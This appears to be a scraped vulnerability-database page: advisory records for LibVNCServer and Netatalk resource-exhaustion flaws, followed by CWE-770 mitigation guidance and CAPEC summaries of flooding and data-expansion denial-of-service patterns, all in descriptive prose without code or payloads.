"details": "An issue was discovered in LibVNCServer before 0.9.13. libvncclient/rfbproto.c does not limit TextChat size.",
"id": "GHSA-vmf9-q8q4-wg87",
"modified": "2022-05-24T17:20:49Z",
"published": "2022-05-24T17:20:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14405"
},
{
"type": "WEB",
"url": "https://github.com/LibVNC/libvncserver/commit/8937203441ee241c4ace85da687b7d6633a12365"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-390195.pdf"
},
{
"type": "WEB",
"url": "https://github.com/LibVNC/libvncserver/compare/LibVNCServer-0.9.12...LibVNCServer-0.9.13"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/06/msg00035.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/08/msg00045.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4434-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VMVV-QM72-V4FG
Vulnerability from github – Published: 2026-05-21 09:32 – Updated: 2026-05-21 09:32An unbounded memory reallocation in the charset conversion code in Netatalk 2.0.0 through 4.4.2 allows a remote authenticated attacker to cause a minor denial of service via crafted character conversion requests.
{
"affected": [],
"aliases": [
"CVE-2026-44070"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-21T08:16:22Z",
"severity": "LOW"
},
"details": "An unbounded memory reallocation in the charset conversion code in Netatalk 2.0.0 through 4.4.2 allows a remote authenticated attacker to cause a minor denial of service via crafted character conversion requests.",
"id": "GHSA-vmvv-qm72-v4fg",
"modified": "2026-05-21T09:32:11Z",
"published": "2026-05-21T09:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44070"
},
{
"type": "WEB",
"url": "https://netatalk.io/security/CVE-2026-44070"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.